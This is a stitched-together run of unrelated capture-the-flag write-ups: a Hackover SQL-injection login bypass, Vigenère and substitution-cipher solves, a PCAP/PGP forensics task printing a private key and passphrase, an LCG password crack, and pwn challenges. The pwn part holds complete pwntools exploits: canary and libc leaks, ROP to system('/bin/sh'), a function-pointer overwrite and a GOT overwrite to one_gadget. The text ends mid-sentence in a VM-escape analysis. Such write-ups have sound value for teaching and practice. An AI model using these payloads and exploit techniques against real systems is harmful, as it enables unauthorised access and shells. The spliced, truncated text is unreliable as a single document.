**Description** > Howdy mate! Just login and hand out the flag, aye! You can find on [h18johndoe](https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb) has all you need!> > `http://yo-know-john-dow.ctf.hackover.de:4567/login`> > alternative: `46.101.157.142:4567/login` **No files provided** **Solution** We get a simple login screen, but no way to register: ![](https://github.com/EmpireCTF/empirectf/raw/master/writeups/2018-10-05-Hackover-CTF/screens/do-you-know-john-dows.png) First we need a username. `h18johndoe` from the description doesn't work. Well, we can have a look at the link from the description, which seems to show the source code for back end of this website: ```rubyclass UserRepo def initialize(database) @database = database @users = database[:users] end def login(identification, password) hashed_input_password = hash(password) query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" puts "SQL executing: '#{query}'" @database[query].first if user_exists?(identification) end def user_exists?(identification) !get_user_by_identification(identification).nil? end private def get_user_by_identification(identification) @users.where(phone: identification).or(email: identification).first end def hash(password) password.reverse end end``` The `login` method has a clear SQL injection, since the password "hashing" just reverses the input we give it, without any sanitising. Before `login` is called however, we need to pass the `user_exists?` check, which seems to use prepared statements. So we still need an existing e-mail. The file above has commits from two users, `h18johndoe` and `john1234`. GitHub doesn't seem to show e-mail addresses of users, but if we clone the repo and check the commit log, we can see the e-mails: ```$ git logcommit b26aed283d56c65845b02957a11d90bc091ac35aAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:55:57 2018 +0200 Add login method commit 5383fb4179f1aec972c5f2cc956a0fee07af353aAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:04:13 2018 +0200 Add methods commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153cAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:02:26 2018 +0200 Add dependency injection for database commit 3ec70acbf846037458c93e8d0cb79a6daac98515Author: John Doe <[email protected]>Date: Tue Oct 2 23:01:30 2018 +0200 Add user repo class and file``` And the last one (earliest commit chronologically) is actually the correct e-mail address: `[email protected]`. After entering this e-mail we get asked for the password, and this is where we can do the SQL injection, since we don't know the user's password. We only need to login, so we can do an extremely simple injection: input: 'or''==' reverse: '==''ro' full query after injection and re-reverse: select id, phone, email from users where email = '[email protected]' and password_digest = ''or '' == '' limit 1 `hackover18{I_KN0W_H4W_70_STALK_2018}`
Problem Statement(200 points): My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell2.picoctf.com 26039. Tags: Vignere cipher Solution:On searching Blaise cipher on google it resulted that it is Vignere cipher which was created by Blaise de Vigenère.On connecting with given service i recieved an encrypted text : Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx. Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce. Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_901j13l1} Tnj Gimjyexj nivmpr mftnki l rkuftgytot kzr hjtnm jickueiusllrd dtxtyg. Tteej fftntc ati xazmpmgytcofy Cnfclkx Wuzbtdmj Oojldot (Qpwox Naxwzlr) hllrjo tnj Gimjyexj nivmpr asmrkfvahqp it mts 1868 vnpck "Yse Gqahggpt Inahkw" tn g hsiricet'x xamfkitj. Tn 1917, Yhtetytfoh Lmkwtcgs oeyhcihjo tnj Gimjyexj nivmpr gx "tmvtdsogwe uk ergsdlgytot". Ysiy wppayltoty wgx yoz ipskwgej. Hsaxqps Hfmbglp iy pyocs eo nfge hwzkks l vgwtaty zf zmp cousex fd egwwy gx 1854; socjgex, mp doiy't vzmloxs hox hoxp. Vayndko jytowple gcoqj ehk htpnjc ati auhqtsnjo tnj eeimyiwzp it yse 19zm netyfre. Jget gpfuwp tnnd, tntfgn, xzmk xvirqpd iwjpzfyarddty hzuri zcifdiusllrd mrkfv tnj nivmpr os ehk 16ys ckseuxd. Nreueomwlpnnn srnoe xzwe axpd gx l cgqnurfeius lij gj tnj Dwoxd Axrj bkyheks 1914 lnj 1940. Yse Bnretjce inahkw ts ynxprj pnuzrh zt me g kteri nivmpr ok tt ox fski tn ityjasntoty woys cousex itsqx. Ehk Hznljoexfee Yyltkx zf Grprohl, fuw pxgralk, zdej f mrgxd cousex itsq yz isuwesjyt zmp Volpnkwp cousex ifrosr tnj Lmkwtcgs Nibnw Wgw. Ehk Hznljoexfny'y rpsyfrey bprk klr lwzm yjnrky lnj yse Astot wpgaqlrrd nrghvej yseow xeyxlgkx. Ehxtfgntft zmp wgw, ehk Hznljoexfee rjldkwdhou arorlroqj rkqtej zaot ysrkj vee usrgxps, "Sfycnjdtkw Mlakq", "Curalkyp Voheoxd" lnj, fd tnj hax hlmk yz a iqzsk, "Hzmk Wptxnmuznzn". Mnwbkwe Vkwyas yciki eo xjaaow ehk gcoqjy cousex (hcegytnm yse Bjcngr–Gimjyexj nivmpr os 1918), muz, sz mgyeex bsaz mp doi, ehk htpnjc wgx dtoqw vaqyexfmlk yz cxdatgsllexts. Bjcngr'd wuwv, hubpvkw, pvkseugqwy rjo tu yse usp-torp pgi, l tnjzrkytcgqwy asmrkfvahqp cousex. SO in the text there is encrypted flag : pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_901j13l1} As we know that the plaintext start wirh "picoCTF" On decoding online https://www.dcode.fr/vigenere-cipher using the cipher text word "picoCTF".As special characters and number are not encoded in this cipher i got the result : PICOCTFVGNRCPHRSARNBADEA then i manually inserted the special characters and numbers and got the flag: picoCTF{v1gn3r3_c1ph3rs_ar3nt_bad_901e13a1}
# [CTF BSIDES] Write-Up - FuzzY (Forensics) ## Description :Bob and Charlie were sending some messages among themselves,and I planned to intercept their messages and get something out of it, however, they are clever enough that no secret gets leaked. Please help me out to get the secret!! ## Analysis PCAP : As for any pcap, I use *strings* command ```BASHstrings final_fuzz.pcap...-----BEGIN PGP MESSAGE-----Version: OpenPGP v2.0.8Comment: https://sela.io/pgp/wcBMA8fXP+32fyviAQf/T+NzsOgQ+ejW16GeK6h9WS9IDelAN9GLY5x5o9ilBlELG4IPati4/zqd+kyV5mmA7k2eKnNByRnxElpp0PoGULX0ykjBTcXuLtNXzGWcDsFFxAkH8PduoPCcnNGWrCU6D8ZuWNtp7oeZ1krUZP+Kg9sfjjKfx0aUFhWs9SQH6mifAlbJQwxKi2xXv0UsHvg4Mz4TpVstoO5XcN9d4V+gygc+wx0K61JwAFw96xptNi9yhdMz/c7yW56JwBfwyiHvYmgLdWYJW9OEoQIj7Rwh1v8mD846vbvEDmagQ0Ra/K6qlnxa37gBFE+4kYpSXP7yqr8QMhmGDpMROJoJqxYyY9JxAe6317HZ+UUEOmNR+0tBEmPl/VVaoPc5q6RQ/cxwY4VhR4DtPsG9Gw237Sx+xSTAG5JbmtBf4KfQdVbeaXn1PYPYBeCVL6nb6uPz6ZHBJ2SODWg9+Ssas+Gd5P7Q0zSA/35qYdamnAqUM/ujM2nNk2U==+x+V-----END PGP MESSAGE-----...``` Hum, I found a PGP message with a URL in order to decipher so I must find :1. a passphrase2. a private key PGP Then I often test the *binwalk* command on PCAP file ```BASHbinwalk final_fuzz.pcap DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------1131 0x46B PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced1172 0x494 Zlib compressed data, default compression8588 0x218C PGP armored data, message109369 0x1AB39 Zlib compressed data, default compression ``` Oh there is a PNG image however *binwalk* or *foremost* are not able to recover it. ## Wireshark : I can do a *string* in Wireshark The image is interesting for : ![Alt](files/fuzzy_dns_filter01.png) 1. I can parse hexadecimal for PNG header (89 50 4e 47)2. I can see result in hexadecimal 3. I can see PNG / IHDR / IDAT So I can only filter things such as : ![Alt](files/fuzzy_dns_filter02.png) 1. The filter in Wireshark *dns && ip.src==192.168.42.129*2. The hidden data is always begin in *00e0* position3. The hidden data is always finish in *01e0* Endly we can see the end header from PNG image :![Alt](files/fuzzy_dns_filter03.png) I can recover all the values in hex with [hex_png.log](files/hex_png.log) I replace of course all **00** by **xx** values in order to replace more easily via *sed* command ```BASHcat hex_png.log | awk '{print $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17}' | tr -d '\n' | sed -e 's/x//g' | xxd -r -p > img.pngfile img.png img.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced``` Nice the file is now a beautiful qrcode![Alt](files/img.png) ```BASHzbarimg img.png QR-Code:-----BEGIN PGP PRIVATE KEY BLOCK-----Version: BCPG C# v1.6.1.0 lQOsBFvO/9wBCACgT4fK4dJm+M14jotXPUeKueo8xfFDunNUx/ZaSQbp5Y0i64OZdPkQk4E2zCgXaYKNRhiIx2RUy27GBf7xjtDb0gh/HNhC41f5ZzYrNQBEcabcr0hnVfwiEzAqmTg+5TNsG26ZD2kuO1/J5zbKxI1D3g/9//fe5Nw8GucDiOntKgvFEXeVETZ0llbP/mh8SAn5+naJiJJri9y3GF+QhX7wYP+W6mBkano8X/Yk2B2qWIRT6wRUDMQy1ptavyv5EJhYbsQGeAMu7WPJN+mLutAE2E1Xj03Sevsx2ynN8b/jF/HYp/mZSzZ+TbHlRUoMC4+hYh5XfXy7Cx9HSI0uIDShABEBAAH/AwMCEv0ZoXbeXxxg3ioH/Y0lUhYOormsNzbrBjl1ipyWTDmRAf9BhmAPrX9K5GPAFAurGOj8QOQEWGrOyXfkgYtHXzGk1K6ItCitgxdBqHgbti23Ht8SmVWw3/pijPXXerXXMqj6NQ95ma6bYPsUPRtE1qtiEs+T8ln6ZBU9BCNyuZDceBY6btZS0cp88wB1xEPorhXVtjiV1cjDRSFGlicqXh4fr4Qe0TUEeZK1uTqlhdj6YvKoFP94OKGxeM0eR1R/H/zyOtJVMMsEZLGrGNSVBZBN0B6l9wAMa+DGpuHIX25I197vP3x0v0gvP/57bF9og9mj2JzntM9NJsR12zAgplgX4IUp4SGPvcNbLE5c9yIEj77SAOBumrF3IcUYNN9IXvIHQh8qzOWmI5q+NFCKin0tQNCAx4ef+4ThkyPezRovlFxG6T4HMF1YjYrlVMgiN034opaCKoFXd3EF4UufN3vV0IYB7AfxWLeNAJyPCreDSyYyLFGx+ONpM5JKk/1cwH8H0XQuLXY+TuGjiF6QWkRkVcAYv0F7r2wPaVOVa8465s34fY94Rv1+KCpsjNFc3FrAJhz84jETxxqrs44U/zmGh0/tixjs9vB1C/i7csYWXYJYiPsPmcp5sOE4M1PtYsIfuOlaJ12e/IV9YnNK+RLghYQ0MghUMHZeg8aqKY7SATDB1SuK+YKmhXte/E/VhTBUy+3RautMIUwSw9R1z2Hh4POZ4kp8yj9PnEujoQ5XtZuruhNyiWEwWYf1GPuDSoeEYcIRj18h8dL+OSvsS1DqgPxH9hy8iidLDq1ZkrQ0w08Du9zjVY02f4OoRunzXbis6P3Y0mRf4iifbYdqVg3snMwY5u9lEaIYqmtcGibgybah394CgTt0xrQTa2FydGlrOTk3QGdtYWlsLmNvbYkBHAQQAQIABgUCW87/3AAKCRDH1z/t9n8r4qnlB/9N1BBWSf6lfmejPh3RDZ+QrBsCELm8qBeawlsY9To6UUdrIoC9vzIwKAgil2K2MC9z/laZQcep0WepnOar5KSUyhPI50/aE97yfA0v4lKkylb0OPt8E0S4gIxTlRhpht2K4lsRaD+2wyRvMRuU/Grgxd5TVVm9KfXQBCAxgFgX2OdZ2/Yb2GJQ4M6DquISIBar+i39a9bdZ9kP70oxjfgG8SLXPxzBiHIULUy4X+80VafKWw1/AzN2t4CTRtIMHu7jeUqpws+MB6TxTLBAG/JSdb+W3ceHseJ9YXqVIhfrlKt8T3QAqErjQjPN0YB9KDaELwDM1rxFryy8zuABzdZ/=rb5z-----END PGP PRIVATE KEY BLOCK-----``` Ok ok I found just the private key but where is the passphrase ? ```BASHexiftool img.png | grep DescriptionImage Description : helloworld``` I recap I have in my possession :1. a message PGP2. a private key PGP3. a passphrase ## The flag : You can go on : https://sela.io/pgp/ Otherwise you can too use *gpg* command ```BASHgpg --allow-secret-key-import --import private.gpg gpg: clef C7D73FEDF67F2BE2 : « [email protected] » n'est pas modifiéegpg: clef C7D73FEDF67F2BE2 : clef secrète importéegpg: Quantité totale traitée : 1gpg: non modifiées : 1gpg: clefs secrètes lues : 1gpg: clefs secrètes non modifiées : 1 gpg --list-keyspub rsa2048 2018-10-23 [SCEA] DB709384389B9568305D3577C7D73FEDF67F2BE2uid [ inconnue] [email protected] gpg --batch --yes --passphrase="helloworld" --pinentry-mode loopback -o flag.txt -d message.gpg ``` The flag is : **flag{eNcryP7!ng_t0_PgP_1s_r34LLy_Pre3tY_g00D_pr1V4cY}** By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
We didn't recognise the 1st protagonist, but 8 out of the 9 was suffiscient to get the flag. 1 ???2 Jobs3 Wiesner4 bezos5 gates6 stallman7 Selfridge8 hal90009 Schwalm
## Runme (Reverse) ### Solution All you have to do is```$ strings runme...BRjSBRjEBRjCBRjCBRjOBRjNBRj2BRj0BRj1BRj8BRjOBRjnBRjlBRjiBRjnBRjeBRj.BRjeBRjxBRjeBRj"BRjBRjSBRjEBRjCBRjCBRjOBRjNBRj{BRjRBRjuBRjnBRjnBRj1BRjnBRj6BRj_BRjPBRj4BRj7BRjhBRj}^...``` And the flag is `SECCON{Runn1n6_P47h}`.
# LCG and the X (worth 250+205 points)Part of the P.W.N. University CTF 2018 (https://uni.hctf.fun/pages/home/) ```CHECK OUT THIS NEW ON CAPUS FANCLUB!!!The LCG and the X FANCLUB``` The description includes a link to the service with the following description:```Hello!This is the website for our on-campus fanclub of the band LCG and the X!Everyone can signup for the club to: Get the latest LCG news Communicate with other fans Save secret messages prefixed with "flag{" (which is always handy...)```Saving secret messages prefixed with "flag{" definitely sounds like something we want. When signing up we can provide some info (name, address, country and phone). This shows us a new page with an (auto-incremented) user number and a "random" numerical password that we can use to login as well as a personal password recovery token in the form of a 128x128 black&white bitmap (see below). ![bitmap of the recovery token for user 42](2018_pwnctf_lcgandthex_1.bmp) The News we can find on the website include:```[...]I also just signed up to make sure the signup process works.Then I created a secret flag, which worked as well![...]Because of the new data protection laws in europe I decided to temporarily disable the secret flag storage... I hope I can bring it back up soon...```When accessing the flag storage we get the message:```The Flag storage is currently disabled, only flags that you already have submitted will be shown here.```So we know that the flag has been placed by the creator who most likely has the user number 1. If we could login as that user, we could see the flag. Revisiting the registration site we noticed that the password recovery token hat a URL in the format of `http://.../42.bmp` where `42` was our (actual) user id (lucky, right?). Obviously we now also had access to the password recovery token of the first user (see below), but one question remained: How do we use this token? ![bitmap of the recovery token for user 1](2018_pwnctf_lcgandthex_42.bmp) The site offers no functionality to recover a password by uploading a token, so we assumed that all relevant information is encoded in the bitmap. By creating some more accounts with the same inputs for name etc. we realized that the tokens appeared to be completely randomized each time, with the user number having no immediately visible imapct. We played around a bit with the bitmap and tried interpreting it as ASCII encoded text, but that failed. We then noticed that at least the first four bits in each line were black, so we assumed this could be 128-bit binary numbers in each row with the four most significant bits being zero. We came up with a short python script to parse the image and output the 128 numbers.```import mathimport osimport sysimport imageio if len(sys.argv) != 2: print("Usage: %s file.bmp" % sys.argv[0]) sys.exit(1) filename = sys.argv[1] image = imageio.imread(filename)out = 0for line in image: tmp = 0 for x in range(len(line)): tmp <<= 1 tmp |= 1 if line[x] == 255 else 0 print("% 40d" % tmp)``` The output for user 42 is:```1328512840572851284057285128404473217825697138328707114991073584017861589124231055101792582259868857807391[124 more numbers]6133478240011003618640769383369411060``` The password for user 42 is `6429760596071210556499524060198881378`, which unfortunately (but not unsurprisingly) was not among the output numbers. To verify that these numbers actually make sense (you could interpret anything as binary encoded numbers even if it was not intended to be) we tried comparing the numbers of two sequential users and luckily noticed that the first numbers, when subtracted, showed a difference of `313373133731337313373133731337`. That was too good to be coincidence, so we were definitely on the right track. ## LCG and the multiplier, addend and moduloIf you try to make sense of the challenge title you inevitably end up on the Wikipedia page about `Linear Congruential Generator`s. This is a simple kind of (not cryptographically secure) random number generators. They have the general form of `X(n+1) = (a*X(n) + c) mod m` where `a` is the multiplier, `c` is the addend and `m` is the modulo. Together with the seed `X(0)` they uniquely define the behavior of the generator. However, we just have a bunch of outputs but don't know anything about `a`, `c` and `m`. Luckily these generators are extremely easy to break if you have three complete states, i.e., three sequential and unmodified outputs. And even better, you don't actually have to understand how this works since smart people already did the work and posted their python scripts online (See: https://tailcall.net/blog/cracking-randomness-lcgs/ ). The details aren't covered here since the linked blog post explains it quite well, so go read it if you are interested. Otherwise just run the included scripts to get the following values:```m = 16285270385112413720426683811263350667a = 313373133731337313373133731337c = 123456789012345678901234567890``` At this point we only have to guess what output of the RNG is the password (Spoiler: it's the 129th), but we can do this easily by playing around with the token of a user which we know the password of. So just take the last number `x127` from the recovery image and calculate `((a * x127) + c) % m` to get the password. To recover the password of the first user either download their recovery image and start from the last number or, alternatively, take the initial seed of your user with the known number (e.g. `13285128405728512840572851284044` for user 42) and subtract `41*313373133731337313373133731337` to get the initial seed of the first user. Now you can just calculate 128 steps of the RNG to get the same password. With the password `6160325624856057770563639672902954513` we could then login as the first user to retrieve the flag `flag{https://www.youtube.com/watch?v=NvS351QKFV4#Y0L0SW4G}`.
The problem description indicates that we are confronted with a substitutioncipher. Substitution ciphers are vulnerable to frequency analysis : letters inany language appear in text at different frequencies. So we can easily guessthat the letter that appears the most in the ciphertext is the substitution forthe letter that appears the most in the english language (that would be "e".)After guessing a few most common letters, we can just guess the othersubstitutions by just looking a the partially deciphered text. The name of the task is a hint at this approach (hertz being a unit used tomeasure frequency). So I used the following bit of code to look at character frequency in theciphertext : ```pythonfrom collections import Counterfrom string import ascii_lowercase with open('ciphertext', 'r') as f: ciphertext = f.read() charcount = Counter(c for c in ciphertext if c in ascii_lowercase)total_chars = sum(charcount.values())for char, count in charcount.items(): print(f'{char}: {(count*100)/total_chars}% ({count})')``` It produced this output : ```pythonl: 2.174877940523746% (49)r: 7.23479804704838% (163)o: 6.56901908566356% (148)w: 2.3524189968930314% (53)q: 6.1695517088326675% (139)s: 6.924101198402131% (156)z: 9.409675987572125% (212)g: 7.1016422547714155% (160)v: 5.947625388371061% (134)e: 13.049267643142477% (294)y: 6.924101198402131% (156)k: 2.2192632046160674% (50)p: 2.929427430093209% (66)a: 2.4411895250776743% (55)i: 5.0599201065246335% (114)u: 1.3759431868619618% (31)h: 1.908566355969818% (43)f: 1.020861074123391% (23)n: 3.195739014647137% (72)c: 2.796271637816245% (63)b: 2.174877940523746% (49)j: 0.1775410563692854% (4)d: 0.0887705281846427% (2)x: 0.5770084332001776% (13)t: 0.13315579227696406% (3)m: 0.04438526409232135% (1)``` We can compare that with the [letter frequency](https://en.wikipedia.org/wiki/Letter_frequency)of the english language. Looking at the output, we see an overwhelmingmajority of "e", with a 13% frequency : according to wikipedia, the letter e hasa frequency of 12.702% in the english language. from that we can deduct that theletter e is in fact no substitued with anything in that cipher. Let's look at the next most common letters : - "z" has a frequency of about 9.41% : the closest match in english would be "t"- similarly, the frequency of "y" in the ciphertext seems to match that of "i" in english. Next, I built the following script : ```pythonfrom colorama import Fore with open('ciphertext', 'r') as f: ciphertext = f.read() sub = { 'e': 'e', 'z': 't', 'y': 'i',}text = ''for char in ciphertext: if char in sub: char = char.replace(char, f'{Fore.GREEN}{sub[char]}{Fore.RESET}') text += char print(text)``` It simply prints the text, performing the guessed substitutions and printing thedecrypted letters in green (is uses a third party library, `colorama`, for that).By just looking at the partially decrypted text, we can guess more letters. I simply extended the `subs` dictionary with letters progressively, each newlyguessed substutions helping to guess one, until the flag appeared in thepartially decrypted text : `substitution_ciphers_are_solvable_uyhyldalrg`.
## Exploitation Class The program allocates a `char data[22][12];` buffer on the stack, and we can read and write it. The vulnerability is here ```cunsigned __int64 __fastcall writeData(char *a1){ unsigned int v2; // [rsp+4h] [rbp-14h] unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); puts("Which entry to write?"); v2 = 0; __isoc99_scanf("%u", &v2;; if ( v2 <= 0xFC ) { puts("What to write?"); read(0, &a1[12 * v2], 0xCuLL); } return __readfsqword(0x28u) ^ v3;}``` It ensures that index is `<= 0xfc`, however, it should be `idx * 12 <= 0xfc`, so this leads to a index out of bound. Also, there is no null termination here, so we can leak some data. There is stack canary here, so we need to leak the canary and libc address. Because we can read the last element of the array, we can fill all of the bytes such that there is no null termination from the last element to the data we want to leak. Then we can leak the data by showing the last element. After leaking the data, it is very easy to ROP and execute the `system("/bin/sh")` ```pythonfrom pwn import * g_local=Falsecontext.log_level='debug' if g_local: sh = process("./exploitClass")#env={'LD_PRELOAD':'./libc.so.6'} MAIN_RET_OFF = 0x20830 ONE_GADGET = 0x45216 POP_RDI = 0 e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") gdb.attach(sh)else: sh = remote("class.uni.hctf.fun", 24241) #sh = process("./exploitClass", env={'LD_PRELOAD':'./libc.so.6'}) MAIN_RET_OFF = 0x24223 ONE_GADGET = 0x451F9 #0x45254 POP_RDI = 0x23BE3 e = ELF("./libc.so.6") def read(idx): sh.send("1\n") sh.recvuntil("Which entry to show?\n") sh.send(str(idx) + "\n") ret = sh.recvuntil("\n") sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n") return ret[:-1] def write(idx, data): sh.send("2\n") sh.recvuntil("Which entry to write?\n") sh.send(str(idx) + "\n") sh.recvuntil("What to write?\n") sh.send(data) sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n") sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")write(21, "B" * 12)write(22, "C")#write(24, "A" * 8 + '\xa0') #return to maincanary = u64(read(21)[0xc:0xc+8]) - ord('C')print hex(canary)for i in xrange(0,4): write(22 + i, "B" * 0xc)libc_addr = u64(read(21)[0x3c:0x3c+6] + "\x00\x00") - MAIN_RET_OFF write(22, p64(canary))write(24, 'A' * 8 + p32((libc_addr + POP_RDI) & 0xffffffff))write(25, p32((libc_addr + POP_RDI) >> 0x20) + p64(libc_addr + next(e.search("/bin/sh"))))write(26, p64(libc_addr + e.symbols["system"]))print hex(libc_addr)write(29, '\x00' * 0xc)sh.send("3\n")sh.interactive()``` ## Important Service 0x401 0 can cause the buffer overflow, which can overwrite one lowest byte of the function pointer in the stack ```cchar vulnbuf[1024]; // [rsp+0h] [rbp-420h]int (__fastcall *func_addr)(char *, int, int); // [rsp+400h] [rbp-20h]//...fread(vulnbuf, 1uLL, (signed int)vullen, stdin);func_addr(vulnbuf, vullen, v7);``` Although there is PIE in this program, the lowest 12 bits will not change due to the PIE. Initially the function pointer in the stack is `base_addr + 0x11BC`, and the shell function address is `base_addr + 0x11A9`, so if we change `0xbc` to `0xa9`, the shell function will be called instead. ```pythonfrom pwn import * g_local=Falsecontext.log_level='debug'store_idx = 0 if g_local: sh = process("./importantservice")#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("importantservice.uni.hctf.fun", 13375) sh.recvuntil("Please enter width and height e.g.: 5 8\n")sh.send(str(0x401) + " 0\n")sh.recvuntil("Please provide some data e.g.: 12345\n")sh.send("A" * 0x400 + "\xa9") sh.interactive()``` ## Kindergarten PWN In the program, an index is required to be given, and the program will show the original byte at that index and let you to change it. The problem is that it did not check the index must be `>=0` ```cif ( v5 <= 31 )//v5 < 0{ printf("the value at %d is %hhd. give me a new value:\n> ", (unsigned int)v5, (unsigned int)array[v5]); v3 = &v4; if ( (unsigned int)__isoc99_scanf("%hhd", &v4) != 1 ) break; array[v5] = v4;}``` and array is a global variable, and the got table can be overwritten, so we can use this to leak the libc address and rewrite the got table to `one_gadget` ```pythonfrom pwn import * g_local=Falsecontext.log_level='debug'store_idx = 0 e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")if g_local: sh = process("./kindergarten")#env={'LD_PRELOAD':'./libc.so.6'} #sh = process(['ld.so.2', './user.elf']) gdb.attach(sh)else: sh = remote("kindergarten.uni.hctf.fun", 13373) #ONE_GADGET_OFF = 0x4557a def one_iter(idx, val = None): sh.recvuntil("give me an index:\n> ") sh.sendline(str(idx)) sh.recvuntil("the value at " + str(idx)+ " is ") ret = sh.recvuntil(".") sh.recvuntil(" give me a new value:\n> ") ret = int(ret[:len(ret)-1]) if val: sh.sendline(str(val)) else: sh.sendline(str(ret)) return ret & 0xff def leak_qword(off): ret = 0 for i in xrange(0,8): ret |= one_iter(off + i) << (8 * i) return ret def shoot_qword(off, val): for i in xrange(0,8): one_iter(off + i, (val >> (8 * i)) & 0xff) libc_addr = leak_qword(0x4018 - 0x4080) - e.symbols["printf"]#leak address of `printf`print hex(libc_addr)shoot_qword(0x4030 - 0x4080, libc_addr + 0x4526a) #0x30 one_gadget#rewirte the `exit` function to one_gadgetsh.recvuntil("> ")sh.sendline("asd") sh.interactive()```
Looking for admin? Than go to http://ctf.knastu.ru/webch/admin. It is a one of the most common directories of web-sites. You can find the flag in the sources. HumanCTF{wind0w_cl3an3r_w0rk5_wi7h_wind0w5}.
## Abyss 1 This challenge is the VM escape from custom VM to user level arbitrary code execution. After some reverse engineering, we can find that there are vulnerabilities in `swap` and `rotate`, although I have used the `swap` only. ```c_DWORD *swap_(){ int v0; // ST04_4 _DWORD *result; // rax v0 = stack[sp_nxt - 1]; stack[sp_nxt - 1] = stack[sp_nxt - 2]; result = stack; stack[sp_nxt - 2] = v0; return result;}``` It is obvious that the value of `sp_nxt` is not checked, so if `sp_nxt` is 1, it will swap `stack[0]` and `stack[-1]`, and if we look at the memory layout, we can find that `stack[-1]` is exactly `sp_nxt`, which means that we can control the stack pointer to achieve arbitrary `read/write`. The idea is to add a constant offset to the got table entry of the an uncalled function, such as `write`, which points to the program address(PLT entry) instead of libc, because it is not dynamically resolved yet. In this way, we can manipulate the function pointer to anywhere within the program image, including the `store` global array. Therefore, according to the hint, we can write the shellcode into that array, and let `write` to point to that array, and call the write function, to get arbitrary code execution. However, when I was inspecting the address in the got table with `writed` VM instruction, I found a tricky part, which got me stuck for many hours. If you run user program directly(`./user.elf`) in Linux, the program address will begin as `0x5x`, and the libc address will begin as `0x7f`; but in this customed OS, they both begin as `0x7f`, which misled me initially and made me think that there is no dynamic resolution but it instead would load the libc addresses to got table when the program begins. The reason is probably that it inits the program using `ld.so.2 ./user.elf`, and if you do this in Linux, the program address will begin as `0x7f` too. In addition, in the customed OS, the address of `ld` begins with `0x5x`, but if you run that command in Linux, the `ld` will begin as `0x7f`, which is quite different. Finally, we need to decide what code to execute in order to get the flag, so we need to do some reversing for kernel first. After some reversing, we can find that the `syscall` table in kernel is `0x4020`, and so if we look at the `open` function: ```c__int64 __fastcall open(const char *a1){ unsigned int v1; // ebp char *v2; // rax __int64 v3; // rbx signed __int64 v4; // rax v1 = -14; if ( !(unsigned int)sub_FFF() ) return v1; v1 = -12; v2 = strdup(a1); v3 = (__int64)v2; if ( !v2 ) return v1; if ( (unsigned int)strcmp((__int64)v2, "ld.so.2") && (unsigned int)strcmp(v3, "/lib/x86_64-linux-gnu/libc.so.6") && (unsigned int)strcmp(v3, "/proc/sys/kernel/osrelease") && (unsigned int)strcmp(v3, "/etc/ld.so.cache") && (unsigned int)strcmp(v3, "./user.elf") && (v1 = -2, (unsigned int)strcmp(v3, "flag")) ) { return v1; } v4 = sub_1183(v3); v1 = sub_E7E(v4); sub_1577(v3); return v1;}``` It is probably 